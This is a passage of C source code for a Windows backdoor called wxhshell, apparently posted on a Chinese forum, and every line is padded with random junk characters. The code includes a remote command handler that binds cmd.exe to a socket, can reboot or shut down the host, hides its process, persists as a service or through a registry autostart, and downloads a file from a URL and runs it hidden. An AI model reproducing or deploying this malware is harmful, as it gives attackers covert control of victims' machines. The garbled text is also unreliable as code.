    switch(cmd[0]) { :_Ng`b/  
  7sLs+ |<"  
  // 帮助 !*pK#  
  case '?': { Q'Q+mt8u5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |n6nRE wW  
    break; vaK$j!%FE  
  } rm"bplLZA  
  // 安装 W*U\79H  
  case 'i': { AeUwih. 4  
    if(Install()) FirmzB Il5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AE7>jkHB  
    else 7Bmt^J5i&t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C'5i>;  
    break; :Z=A,G  
    } MWhFNfS8=  
  // 卸载 IL>Gi`Y&  
  case 'r': { {SROg;vA  
    if(Uninstall()) vn,L),"=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TSuHY0. cp  
    else ze#LX4b I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <[a9"G 7  
    break; &p4q# p7,  
    } z),l&7  
  // 显示 wxhshell 所在路径 ] YQ*mvI]  
  case 'p': { :_H$*Q=1  
    char svExeFile[MAX_PATH]; GD*6tk;5/  
    strcpy(svExeFile,"\n\r"); fMLm_5(H  
      strcat(svExeFile,ExeFile); Yq;S%.  
        send(wsh,svExeFile,strlen(svExeFile),0); {kZhje^$vi  
    break; =VY[m-q5  
    } @~a52'\  
  // 重启 ?<F\S2W  
  case 'b': { g<.VW 0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |5![k<o#  
    if(Boot(REBOOT)) [#2= w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wigm`A=,r  
    else { P5aHLNit  
    closesocket(wsh); gQ/zk3?k  
    ExitThread(0); L:B&`,E  
    } BHFWig*{  
    break; 7i/?+|  
    } (mza&WF7  
  // 关机 J-I7K !B  
  case 'd': { y4envjl 0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r}vI#;&  
    if(Boot(SHUTDOWN)) .g4bV5ma3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f#^%\K:YYR  
    else { K<|eZhp~  
    closesocket(wsh); n|^-qy'w  
    ExitThread(0); YR[Ii?  
    } ,L_p"A  
    break; q+LjWZ+O  
    } JQbI^ef_;  
  // 获取shell +F67g00T|  
  case 's': { OjZ+gl}  
    CmdShell(wsh); v3aiX  
    closesocket(wsh); Vwv O@G7A  
    ExitThread(0); VMtR4!:q  
    break; t/q\Ne\\,  
  } x28Bz*O  
  // 退出 l}<s~ip  
  case 'x': { 9prG@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !5=3Y4bg1  
    CloseIt(wsh);  i4Fw+Z  
    break; ,Xb:f/lB  
    } rU'&o) a^  
  // 离开 #UGbSOoCtn  
  case 'q': { oA42?I ^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8SKDL[rN  
    closesocket(wsh); [& hdyLt  
    WSACleanup(); ;l?>+m@H  
    exit(1); -G*u2i_*  
    break; <vbk@d  
        } gw5CU)r4$  
  } S9xC> |<  
  } r{Fu|aoa;5  
} 10Dvt>+  
  // 提示信息 )fCl<KG*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kk??}  
} JXvHsCd?  
  } DpTQPu9  
TmUn/  
  return; Y3-15:-  
} o]k[l ;  
-4HI9Czts  
// shell模块句柄 (r7~ccy4  
int CmdShell(SOCKET sock) cLB"<mG  
{ $x`U)pv  
STARTUPINFO si; XvdK;  
ZeroMemory(&si,sizeof(si)); ]n!pn#Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zi|'lHr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H)(Jjk-O  
PROCESS_INFORMATION ProcessInfo; 3EzI~Zsx  
char cmdline[]="cmd"; G%4vZPA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cvc.-7IO  
  return 0; E7j]"\~i  
} V:l; 2rW  
`#9ZP  
// 自身启动模式 JbG+ysn  
int StartFromService(void) a:P% r  
{ sg9ZYWcL  
typedef struct mk[=3!J  
{ >r{,$)H0  
  DWORD ExitStatus; zJ@f {RWZa  
  DWORD PebBaseAddress; ;,9|;)U?u  
  DWORD AffinityMask; h{>8W0W*  
  DWORD BasePriority; 2"%d!"  
  ULONG UniqueProcessId; GL (YC-{  
  ULONG InheritedFromUniqueProcessId; McA,  
}   PROCESS_BASIC_INFORMATION; i%-c/ lop  
" $m3xO  
PROCNTQSIP NtQueryInformationProcess; G =lC[i  
o>j3<#?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h`jtmhoz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]l&_Pv!!  
=FdS'<GM  
  HANDLE             hProcess; v bh\uv&  
  PROCESS_BASIC_INFORMATION pbi; LoNz 1KJL  
q \0>SG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2uqdx'^"  
  if(NULL == hInst ) return 0; -LQ%)'J ZN  
'fZHtnmc0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {AQ3y,sh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1uS _]59=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :@kSDy+*Q  
XB^z' P{-Y  
  if (!NtQueryInformationProcess) return 0; -S9$C*t  
xNl_Q8Z?R^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dZ;cs c@xv  
  if(!hProcess) return 0; 5a4;d+  
et)A$'Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C;STJrew  
;Wb W\,P'  
  CloseHandle(hProcess); t[0gN:s  
=y ^N '1q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cojuU=i  
if(hProcess==NULL) return 0; ]LNP"vi;  
Tpkm\_  
HMODULE hMod; OSsdB%bIu`  
char procName[255]; ~F DJKGK  
unsigned long cbNeeded; T2^ @x9  
lZ E x0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >'E'Mp.  
Fe`$mtPu.  
  CloseHandle(hProcess); "4i(5|whp?  
d94Lc-kq^  
if(strstr(procName,"services")) return 1; // 以服务启动 72luTR Q  
WEWNFTI  
  return 0; // 注册表启动 )I`B+c:  
} M(SH3~  
P62g7>B5^  
// 主模块 ]6FpUF#<D  
int StartWxhshell(LPSTR lpCmdLine) eV}Ow`~I5  
{ ,zz+s[ZH7O  
  SOCKET wsl; '6[0NuB  
BOOL val=TRUE; r1$ O<3\  
  int port=0; !J'BAq[x  
  struct sockaddr_in door; XG_ lyx%:E  
6uR :/PTG  
  if(wscfg.ws_autoins) Install(); w_4`Wsn  
?v `0KF  
port=atoi(lpCmdLine); ob-z-iDz  
lYD-U8  
if(port<=0) port=wscfg.ws_port; LB U]^t@ M  
e3\*Np!rTQ  
  WSADATA data; g$ 9Yfu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M0 =K#/  
Oz]iHe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k q_B5L?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,Cde5A{K  
  door.sin_family = AF_INET; [ 7Q|vu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <5?.S{Z9  
  door.sin_port = htons(port); m03;'Nj'7#  
:J}L| `U9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D+#QQH  
closesocket(wsl); #k5Nnv#(J  
return 1; w}YO+  
} x4R[Q&:M  
U $e-e/  
  if(listen(wsl,2) == INVALID_SOCKET) { !&?(ty^F  
closesocket(wsl); r1JKTuuo  
return 1; ?neXs-'-p  
} *)H?d  
  Wxhshell(wsl); x>Q\j>^  
  WSACleanup(); -05#/-Z=  
dI{)^  
return 0; K'Bq@6@C g  
h@@2vs2  
} i|y8n7c  
rp+&ax}Wh  
// 以NT服务方式启动 68W&qzw.[r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FE" ksi 9  
{ F@)wi0  
DWORD   status = 0; M7BJ$fA0E  
  DWORD   specificError = 0xfffffff; Nz\=M|@(#  
?tV$o,11  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UuzT*Y>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ae;> @k/|=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mfg{% .1  
  serviceStatus.dwWin32ExitCode     = 0; o.* 8$$  
  serviceStatus.dwServiceSpecificExitCode = 0; -Wb/3 X  
  serviceStatus.dwCheckPoint       = 0; fu"#C}{  
  serviceStatus.dwWaitHint       = 0; q% 2cx@c  
&X }GJLC3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Mx4 <F "9  
  if (hServiceStatusHandle==0) return; 4&&((H  
3g0[( ;  
status = GetLastError(); [ ;  
  if (status!=NO_ERROR) ( Y'q%$  
{ ` XE8[XY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V80g+)|  
    serviceStatus.dwCheckPoint       = 0; *[9FPya  
    serviceStatus.dwWaitHint       = 0; IlN9IF\9L  
    serviceStatus.dwWin32ExitCode     = status; 9l+'V0?`  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~jQ|X?tR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7%b?[}y4  
    return; mr,IP=e~  
  } Sbc  
/YKg.DA|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [daUtKz  
  serviceStatus.dwCheckPoint       = 0; q5p!Ty"  
  serviceStatus.dwWaitHint       = 0; B>AmH%f/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [D=ba=r0X  
} o cotO  
h;u8{t"  
// 处理NT服务事件,比如:启动、停止 |$f.Qs~?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9o@5:.b<j  
{ /xUTm=w7u  
switch(fdwControl) {U= Mfo?AH  
{ )! Jo7SR  
case SERVICE_CONTROL_STOP: yM`J+tq  
  serviceStatus.dwWin32ExitCode = 0; wrSw>sE"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]+u`E  
  serviceStatus.dwCheckPoint   = 0; lZCTthr\  
  serviceStatus.dwWaitHint     = 0; 2_'{f1bVxz  
  { ^_0zO$z,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p2cwW/^V  
  } lyc ]E 9  
  return; [K1RP.  
case SERVICE_CONTROL_PAUSE: Oi+9kk e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dUegHBw_`R  
  break; $@QF<?i~  
case SERVICE_CONTROL_CONTINUE: ue"?n2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6q-X$  
  break; o EXN$SIs  
case SERVICE_CONTROL_INTERROGATE: 4! ]28[2B6  
  break; ixm-wZI  
}; }TI"j{(QJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E4idEQ}H  
} I?<5 %  
c5Fl:=h  
// 标准应用程序主函数 >NwS0j$j@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uQk}  
{ 1U[Q)(P  
k]K][[s`  
// 获取操作系统版本 0eP7efy  
OsIsNt=GetOsVer(); <]1Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T?B753I  
0' j/ 9vm  
  // 从命令行安装 m?G@#[ l  
  if(strpbrk(lpCmdLine,"iI")) Install(); #29m <f_n  
_ `5?/\7  
  // 下载执行文件 $2I^ ;5r[  
if(wscfg.ws_downexe) { 4BF \- lq~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L+VqTt  
  WinExec(wscfg.ws_filenam,SW_HIDE); 90<z*j$EK  
} 2%o@?Rp  
h \dq]yOl  
if(!OsIsNt) { lrrNyaFn  
// 如果时win9x,隐藏进程并且设置为注册表启动 3msb"|DG  
HideProc(); xDJ@MW#  
StartWxhshell(lpCmdLine); Vcjmj  
} r I)Y W0  
else #2 Gy=GvV  
  if(StartFromService()) 7-S?\:J  
  // 以服务方式启动 b{4@ ~>i  
  StartServiceCtrlDispatcher(DispatchTable); +OEqDXR+_  
else nbd-f6F6  
  // 普通方式启动 UaA1HZ1  
  StartWxhshell(lpCmdLine); K X0{dizZ  
pe%$(%@v  
return 0; ,cj531.  
}
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只看该作者 1 发表于: 2006-10-10
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